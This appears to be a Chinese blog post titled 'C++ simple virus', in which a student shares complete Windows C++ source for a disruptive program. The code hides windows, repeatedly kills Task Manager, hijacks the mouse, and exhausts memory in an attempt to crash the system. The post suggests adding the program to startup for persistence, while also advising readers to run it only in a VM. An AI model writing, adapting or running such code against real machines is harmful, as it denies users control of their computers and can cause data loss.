C++简易病毒

有学c++的吗!?

有吗??

PS:注意在虚拟机上运行,或者保证电脑上有冰点或影子系统

作为一名学了一年半c++的蒻蒟,每天我都在想着怎么保护(搞)电脑。

一开始寻思着把电脑搞蓝屏到学校去装13,知道我写下了这段代码...

#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void notaskmgr()
{
	system("taskkill /f /im taskmgr.exe");//就是无限终止任务管理器,你可以理解为禁用
}
void Mouse_v()
{
	int tx=rand()%2000;
	int ty=rand()%1000;//简单的随机数
	SetCursorPos(tx,ty);
    for(int i=1;i<10;i++)
	    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);//好像没什么用,但是多点10下也没什么关系
}
void Hide_v()
{
	HWND hWnd=GetForegroundWindow();//获取最上方窗口句柄
	ShowWindow(hWnd,SW_HIDE);//隐藏窗口
}
void Blue_Sc()
{
	int a=1,b=0;
	int c=a/b;//利用除数为0卡崩系统
	while(true)//留了一手
	{
		char *p=(char*)malloc(1024*1024*1024);//不停申请空间,知道资源耗尽
		memset(p,0,1024*1024*1024);
	}
}
int main()
{
	srand((unsigned int)time(NULL));//简单的随机数种子
	HWND w=GetForegroundWindow();
	ShowWindow(w,SW_HIDE);//隐藏当前窗口
	for(int i=1;i<=5545445;i++)
	{
		Mouse_v();
		notaskmgr();
	}
	for(int i=1;i<=100000;i++)
	{
		Hide_v();
		notaskmgr();
	}
	Blue_Sc();
	return 0;
}

如果你想追求一点刺激也可以把exe文件添加到开机启动。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值